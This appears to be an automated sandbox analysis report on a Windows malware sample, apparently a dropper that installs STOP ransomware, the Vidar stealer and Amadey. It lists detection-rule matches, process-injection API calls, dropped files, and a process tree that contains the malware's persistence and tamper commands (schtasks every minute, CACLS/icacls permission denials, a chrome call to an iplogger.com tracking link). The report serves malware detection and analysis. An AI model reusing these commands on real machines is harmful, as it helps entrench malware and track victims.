Source: 0000000B.00000002.2276492755.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 00000008.00000002.2249972858.0000000002320000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 0000001F.00000002.4133230530.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 0000001F.00000002.4133230530.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: Process Memory Space: C06.exe PID: 6836, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: Process Memory Space: C06.exe PID: 7096, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: Process Memory Space: C06.exe PID: 5104, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: Process Memory Space: C06.exe PID: 2076, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: Process Memory Space: C06.exe PID: 3672, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: Process Memory Space: C06.exe PID: 2540, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: Process Memory Space: C06.exe PID: 3616, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: Process Memory Space: build2.exe PID: 3368, type: MEMORYSTR	Matched rule: Windows_Trojan_Vidar_114258d5 reference_sample = 34c0cb6eaf2171d3ab9934fe3f962e4e5f5e8528c325abfe464d3c02e5f939ec, os = windows, severity = x86, creation_date = 2021-06-28, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Vidar, fingerprint = 9b4f7619e15398fcafc622af821907e4cf52964c55f6a447327738af26769934, id = 114258d5-f05e-46ac-914b-1a7f338ccf58, last_modified = 2021-08-23
Source: Process Memory Space: C06.exe PID: 3808, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: Process Memory Space: C06.exe PID: 5172, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: C:\Users\user\AppData\Local\Temp\374E.exe, type: DROPPED	Matched rule: Windows_Trojan_Amadey_7abb059b reference_sample = 33e6b58ce9571ca7208d1c98610005acd439f3e37d2329dae8eb871a2c4c297e, os = windows, severity = x86, creation_date = 2021-06-28, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Amadey, fingerprint = 686ae7cf62941d7db051fa8c45f0f7a27440fa0fdc5f0919c9667dfeca46ca1f, id = 7abb059b-4001-4eec-8185-1e0497e15062, last_modified = 2021-08-23
Source: C:\Users\user\AppData\Local\Temp\577f58beff\yiueea.exe, type: DROPPED	Matched rule: Windows_Trojan_Amadey_7abb059b reference_sample = 33e6b58ce9571ca7208d1c98610005acd439f3e37d2329dae8eb871a2c4c297e, os = windows, severity = x86, creation_date = 2021-06-28, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Amadey, fingerprint = 686ae7cf62941d7db051fa8c45f0f7a27440fa0fdc5f0919c9667dfeca46ca1f, id = 7abb059b-4001-4eec-8185-1e0497e15062, last_modified = 2021-08-23

Source: C:\Users\user\AppData\Local\Temp\C06.exe	Code function: String function: 00428C81 appears 36 times
Source: C:\Users\user\AppData\Local\Temp\C06.exe	Code function: String function: 02341862 appears 40 times
Source: C:\Users\user\AppData\Local\Temp\C06.exe	Code function: String function: 02342F27 appears 38 times
Source: C:\Users\user\AppData\Local\Temp\C06.exe	Code function: String function: 004547A0 appears 31 times
Source: C:\Users\user\AppData\Local\Temp\C06.exe	Code function: String function: 0040750C appears 44 times
Source: C:\Users\user\AppData\Local\Temp\C06.exe	Code function: String function: 0042F7C0 appears 55 times
Source: C:\Users\user\AppData\Local\Temp\C06.exe	Code function: String function: 02349621 appears 56 times
Source: C:\Users\user\AppData\Local\Temp\C06.exe	Code function: String function: 02348EC0 appears 114 times
Source: C:\Users\user\AppData\Local\Temp\C06.exe	Code function: String function: 02350160 appears 98 times
Source: C:\Users\user\AppData\Local\Temp\C06.exe	Code function: String function: 0044F23E appears 53 times
Source: C:\Users\user\AppData\Local\Temp\C06.exe	Code function: String function: 00428520 appears 67 times
Source: C:\Users\user\AppData\Local\Temp\C06.exe	Code function: String function: 00406740 appears 66 times
Source: C:\Users\user\AppData\Local\Temp\C06.exe	Code function: String function: 02371210 appears 52 times

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00401590 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	0_2_00401590
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004015CB NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	0_2_004015CB
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0040159B NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	0_2_0040159B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004015B0 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	0_2_004015B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004015BC NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	0_2_004015BC
Source: C:\Users\user\AppData\Roaming\vdhbahw	Code function: 7_2_00401590 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	7_2_00401590
Source: C:\Users\user\AppData\Roaming\vdhbahw	Code function: 7_2_004015CB NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	7_2_004015CB
Source: C:\Users\user\AppData\Roaming\vdhbahw	Code function: 7_2_0040159B NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	7_2_0040159B
Source: C:\Users\user\AppData\Roaming\vdhbahw	Code function: 7_2_004015B0 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	7_2_004015B0
Source: C:\Users\user\AppData\Roaming\vdhbahw	Code function: 7_2_004015BC NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	7_2_004015BC
Source: C:\Users\user\AppData\Local\Temp\C06.exe	Code function: 8_2_02320110 VirtualAlloc,GetModuleFileNameA,CreateProcessA,VirtualFree,VirtualAlloc,Wow64GetThreadContext,ReadProcessMemory,NtUnmapViewOfSection,VirtualAllocEx,NtWriteVirtualMemory,NtWriteVirtualMemory,WriteProcessMemory,Wow64SetThreadContext,ResumeThread,ExitProcess,	8_2_02320110
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 10_2_0538D5B0 NtCreateThreadEx,	10_2_0538D5B0
Source: C:\Users\user\AppData\Local\Temp\C06.exe	Code function: 15_2_02320110 VirtualAlloc,GetModuleFileNameA,CreateProcessA,VirtualFree,VirtualAlloc,Wow64GetThreadContext,ReadProcessMemory,NtUnmapViewOfSection,VirtualAllocEx,NtWriteVirtualMemory,NtWriteVirtualMemory,WriteProcessMemory,Wow64SetThreadContext,ResumeThread,ExitProcess,	15_2_02320110

Source: 1917.dll.1.dr	Static PE information: Resource name: RT_VERSION type: COM executable for DOS
Source: D900.exe.1.dr	Static PE information: Resource name: RT_RCDATA type: Microsoft Cabinet archive data, many, 496211 bytes, 2 files, at 0x2c +A "tlatest.bat" +A "treelatest.exe", ID 2579, number 1, 17 datablocks, 0x1503 compression
Source: treelatest.exe.37.dr	Static PE information: Resource name: RT_RCDATA type: Microsoft Cabinet archive data, many, 453340 bytes, 2 files, at 0x2c +A "callcustomerpro.exe" +A "thoseintroductory.exe", ID 4248, number 1, 23 datablocks, 0x1503 compression
Source: callcustomerpro.exe.43.dr	Static PE information: Resource name: RT_RCDATA type: Microsoft Cabinet archive data, many, 222939 bytes, 2 files, at 0x2c +A "callcustomer.exe" +A "calllcustomer.exe", ID 3432, number 1, 23 datablocks, 0x1503 compression

Source: calllcustomer.exe.45.dr

Static PE information: No import functions for PE file found

Source: file.exe, 00000000.00000002.1746108498.000000000059E000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenamegolfstrikator.exe> vs file.exe
Source: file.exe	Binary or memory string: OriginalFilenamegolfstrikator.exe> vs file.exe

Source: file.exe	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: C06.exe.1.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: 6545.exe.1.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: vdhbahw.1.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: rahbahw.1.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: C06.exe.11.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: 1917.dll.1.dr

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT size: 0x48 address: 0x0

Source: file.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Windows\explorer.exe

File created: C:\Users\user\AppData\Roaming\vdhbahw

Jump to behavior

Source: classification engine

Classification label: mal100.rans.troj.spyw.evad.winEXE@97/175@53/23

Source: C:\Windows\explorer.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: callcustomer.exe.45.dr, InvocationTaskConnector.cs	Task registration methods: 'RegisterTest'
Source: calllcustomer.exe.45.dr, TaskTest.cs	Task registration methods: 'RegisterAnnotation'

Source: C:\Users\user\AppData\Local\Temp\C06.exe

Code function: 11_2_00411900 GetLastError,FormatMessageW,lstrlenW,lstrlenW,lstrlenW,LocalAlloc,lstrcpyW,lstrcatW,lstrcatW,lstrcatW,lstrcatW,lstrcatW,lstrlenW,_memset,lstrcpynW,MessageBoxW,LocalFree,LocalFree,LocalFree,

11_2_00411900

Source: C:\Users\user\AppData\Local\Temp\C06.exe

Code function: 8_2_00404E94 _lopen,_calloc,_malloc,_calloc,_fputwc,GetTickCount,GetNamedPipeInfo,LoadResource,GetNumberFormatW,PeekNamedPipe,

8_2_00404E94

Source: C:\Users\user\AppData\Local\Temp\D900.exe

Process created: C:\Windows\System32\cmd.exe cmd /c tlatest.bat

Source: file.exe	ReversingLabs: Detection: 42%
Source: file.exe	Virustotal: Detection: 43%

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\file.exe C:\Users\user\Desktop\file.exe
Source: unknown	Process created: C:\Users\user\AppData\Roaming\vdhbahw C:\Users\user\AppData\Roaming\vdhbahw
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\C06.exe C:\Users\user\AppData\Local\Temp\C06.exe
Source: C:\Windows\explorer.exe	Process created: C:\Windows\System32\regsvr32.exe regsvr32 /s C:\Users\user\AppData\Local\Temp\1917.dll
Source: C:\Windows\System32\regsvr32.exe	Process created: C:\Windows\SysWOW64\regsvr32.exe /s C:\Users\user\AppData\Local\Temp\1917.dll
Source: C:\Users\user\AppData\Local\Temp\C06.exe	Process created: C:\Users\user\AppData\Local\Temp\C06.exe C:\Users\user\AppData\Local\Temp\C06.exe
Source: C:\Users\user\AppData\Local\Temp\C06.exe	Process created: C:\Windows\SysWOW64\icacls.exe icacls "C:\Users\user\AppData\Local\977b3593-e014-49e4-a011-771ad84e5ef2" /deny *S-1-1-0:(OI)(CI)(DE,DC)
Source: C:\Users\user\AppData\Local\Temp\C06.exe	Process created: C:\Users\user\AppData\Local\Temp\C06.exe "C:\Users\user\AppData\Local\Temp\C06.exe" --Admin IsNotAutoStart IsNotTask
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\374E.exe C:\Users\user\AppData\Local\Temp\374E.exe
Source: C:\Users\user\AppData\Local\Temp\374E.exe	Process created: C:\Users\user\AppData\Local\Temp\577f58beff\yiueea.exe "C:\Users\user\AppData\Local\Temp\577f58beff\yiueea.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\977b3593-e014-49e4-a011-771ad84e5ef2\C06.exe C:\Users\user\AppData\Local\977b3593-e014-49e4-a011-771ad84e5ef2\C06.exe --Task
Source: C:\Users\user\AppData\Local\Temp\577f58beff\yiueea.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN yiueea.exe /TR "C:\Users\user\AppData\Local\Temp\577f58beff\yiueea.exe" /F
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\577f58beff\yiueea.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /k echo Y\|CACLS "yiueea.exe" /P "user:N"&&CACLS "yiueea.exe" /P "user:R" /E&&echo Y\|CACLS "..\577f58beff" /P "user:N"&&CACLS "..\577f58beff" /P "user:R" /E&&Exit
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /S /D /c" echo Y"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cacls.exe CACLS "yiueea.exe" /P "user:N"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cacls.exe CACLS "yiueea.exe" /P "user:R" /E
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /S /D /c" echo Y"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cacls.exe CACLS "..\577f58beff" /P "user:N"
Source: C:\Users\user\AppData\Local\Temp\C06.exe	Process created: C:\Users\user\AppData\Local\Temp\C06.exe "C:\Users\user\AppData\Local\Temp\C06.exe" --Admin IsNotAutoStart IsNotTask
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cacls.exe CACLS "..\577f58beff" /P "user:R" /E
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\577f58beff\yiueea.exe C:\Users\user\AppData\Local\Temp\577f58beff\yiueea.exe
Source: C:\Users\user\AppData\Local\977b3593-e014-49e4-a011-771ad84e5ef2\C06.exe	Process created: C:\Users\user\AppData\Local\977b3593-e014-49e4-a011-771ad84e5ef2\C06.exe C:\Users\user\AppData\Local\977b3593-e014-49e4-a011-771ad84e5ef2\C06.exe --Task
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\6545.exe C:\Users\user\AppData\Local\Temp\6545.exe
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\9EB5.exe C:\Users\user\AppData\Local\Temp\9EB5.exe
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\977b3593-e014-49e4-a011-771ad84e5ef2\C06.exe "C:\Users\user\AppData\Local\977b3593-e014-49e4-a011-771ad84e5ef2\C06.exe" --AutoStart
Source: C:\Users\user\AppData\Local\Temp\C06.exe	Process created: C:\Users\user\AppData\Local\00917474-93a3-4865-9112-03a53bb97209\build2.exe "C:\Users\user\AppData\Local\00917474-93a3-4865-9112-03a53bb97209\build2.exe"
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\D900.exe C:\Users\user\AppData\Local\Temp\D900.exe
Source: C:\Users\user\AppData\Local\00917474-93a3-4865-9112-03a53bb97209\build2.exe	Process created: C:\Users\user\AppData\Local\00917474-93a3-4865-9112-03a53bb97209\build2.exe "C:\Users\user\AppData\Local\00917474-93a3-4865-9112-03a53bb97209\build2.exe"
Source: C:\Users\user\AppData\Local\Temp\D900.exe	Process created: C:\Windows\System32\cmd.exe cmd /c tlatest.bat
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\977b3593-e014-49e4-a011-771ad84e5ef2\C06.exe	Process created: C:\Users\user\AppData\Local\977b3593-e014-49e4-a011-771ad84e5ef2\C06.exe "C:\Users\user\AppData\Local\977b3593-e014-49e4-a011-771ad84e5ef2\C06.exe" --AutoStart
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://iplogger.com/2Xtsj4
Source: C:\Users\user\AppData\Local\Temp\D900.exe	Process created: C:\Users\user\AppData\Local\Temp\IXP000.TMP\treelatest.exe C:\Users\user\AppData\Local\Temp\IXP000.TMP\treelatest.exe
Source: C:\Users\user\AppData\Local\Temp\C06.exe	Process created: C:\Users\user\AppData\Local\00917474-93a3-4865-9112-03a53bb97209\build3.exe "C:\Users\user\AppData\Local\00917474-93a3-4865-9112-03a53bb97209\build3.exe"
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\treelatest.exe	Process created: C:\Users\user\AppData\Local\Temp\IXP001.TMP\callcustomerpro.exe C:\Users\user\AppData\Local\Temp\IXP001.TMP\callcustomerpro.exe
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2212 --field-trial-handle=1904,i,6743762491447438880,8946520613085577941,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\1CEF.exe C:\Users\user\AppData\Local\Temp\1CEF.exe
Source: C:\Users\user\AppData\Local\Temp\1CEF.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\callcustomerpro.exe	Process created: C:\Users\user\AppData\Local\Temp\IXP002.TMP\callcustomer.exe C:\Users\user\AppData\Local\Temp\IXP002.TMP\callcustomer.exe
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\977b3593-e014-49e4-a011-771ad84e5ef2\C06.exe "C:\Users\user\AppData\Local\977b3593-e014-49e4-a011-771ad84e5ef2\C06.exe" --AutoStart
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\C06.exe C:\Users\user\AppData\Local\Temp\C06.exe	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Windows\System32\regsvr32.exe regsvr32 /s C:\Users\user\AppData\Local\Temp\1917.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\374E.exe C:\Users\user\AppData\Local\Temp\374E.exe	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\6545.exe C:\Users\user\AppData\Local\Temp\6545.exe	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\9EB5.exe C:\Users\user\AppData\Local\Temp\9EB5.exe	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\977b3593-e014-49e4-a011-771ad84e5ef2\C06.exe "C:\Users\user\AppData\Local\977b3593-e014-49e4-a011-771ad84e5ef2\C06.exe" --AutoStart	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\D900.exe C:\Users\user\AppData\Local\Temp\D900.exe	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\1CEF.exe C:\Users\user\AppData\Local\Temp\1CEF.exe	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\977b3593-e014-49e4-a011-771ad84e5ef2\C06.exe "C:\Users\user\AppData\Local\977b3593-e014-49e4-a011-771ad84e5ef2\C06.exe" --AutoStart	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\C06.exe	Process created: C:\Users\user\AppData\Local\Temp\C06.exe C:\Users\user\AppData\Local\Temp\C06.exe	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Process created: C:\Windows\SysWOW64\regsvr32.exe /s C:\Users\user\AppData\Local\Temp\1917.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\C06.exe	Process created: C:\Windows\SysWOW64\icacls.exe icacls "C:\Users\user\AppData\Local\977b3593-e014-49e4-a011-771ad84e5ef2" /deny *S-1-1-0:(OI)(CI)(DE,DC)	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\C06.exe	Process created: C:\Users\user\AppData\Local\Temp\C06.exe "C:\Users\user\AppData\Local\Temp\C06.exe" --Admin IsNotAutoStart IsNotTask	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\374E.exe	Process created: C:\Users\user\AppData\Local\Temp\577f58beff\yiueea.exe "C:\Users\user\AppData\Local\Temp\577f58beff\yiueea.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\577f58beff\yiueea.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN yiueea.exe /TR "C:\Users\user\AppData\Local\Temp\577f58beff\yiueea.exe" /F
Source: C:\Users\user\AppData\Local\Temp\577f58beff\yiueea.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /k echo Y\|CACLS "yiueea.exe" /P "user:N"&&CACLS "yiueea.exe" /P "user:R" /E&&echo Y\|CACLS "..\577f58beff" /P "user:N"&&CACLS "..\577f58beff" /P "user:R" /E&&Exit
Source: C:\Users\user\AppData\Local\977b3593-e014-49e4-a011-771ad84e5ef2\C06.exe	Process created: C:\Users\user\AppData\Local\977b3593-e014-49e4-a011-771ad84e5ef2\C06.exe C:\Users\user\AppData\Local\977b3593-e014-49e4-a011-771ad84e5ef2\C06.exe --Task
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /S /D /c" echo Y"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cacls.exe CACLS "yiueea.exe" /P "user:N"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cacls.exe CACLS "yiueea.exe" /P "user:R" /E
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /S /D /c" echo Y"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cacls.exe CACLS "..\577f58beff" /P "user:N"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cacls.exe CACLS "..\577f58beff" /P "user:R" /E
Source: C:\Users\user\AppData\Local\Temp\C06.exe	Process created: C:\Users\user\AppData\Local\00917474-93a3-4865-9112-03a53bb97209\build2.exe "C:\Users\user\AppData\Local\00917474-93a3-4865-9112-03a53bb97209\build2.exe"
Source: C:\Users\user\AppData\Local\Temp\C06.exe	Process created: C:\Users\user\AppData\Local\00917474-93a3-4865-9112-03a53bb97209\build3.exe "C:\Users\user\AppData\Local\00917474-93a3-4865-9112-03a53bb97209\build3.exe"
